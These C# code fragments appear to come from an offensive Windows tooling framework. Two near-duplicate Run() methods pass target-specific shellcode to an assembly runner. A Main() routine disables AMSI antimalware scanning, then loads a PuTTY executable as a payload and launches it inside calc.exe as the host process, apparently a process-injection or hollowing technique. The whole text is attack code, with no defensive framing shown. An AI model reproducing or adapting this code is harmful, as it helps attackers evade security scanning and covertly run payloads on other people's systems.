public override bool Run() { Target t = this.Target; switch (t.Platform) { case EPlatform.Windows: { switch (t.Arquitecture) { case EArquitecture.x86: case EArquitecture.x64: { WinX86 c = new WinX86(); c.RunAsm(Payload.GetValue(t)); break; } } break; } } return false; }
public override bool Run() { Target t = this.Target; switch (t.Platform) { case EPlatform.Windows: { switch (t.Arquitecture) { case EArquitecture.x86: case EArquitecture.x64: { WinX86 c = new WinX86(); c.RunAsm(Payload.GetValue(t)); break; } } break; } } return(false); }
public static int Main(string[] args) { WinXComponents.DisableAMSI(); string payloadFileName = "putty.exe"; if (IntPtr.Size * 8 == 64) { payloadFileName = "putty64.exe"; } var payload = File.ReadAllBytes(payloadFileName); string calculator = "C:\\Windows\\system32\\calc.exe"; string[] arguments = null; bool hidden = false; WinXParameters parameters = WinXParameters.Create(payload, calculator, hidden, arguments); WinX86.Start(parameters); return(0); }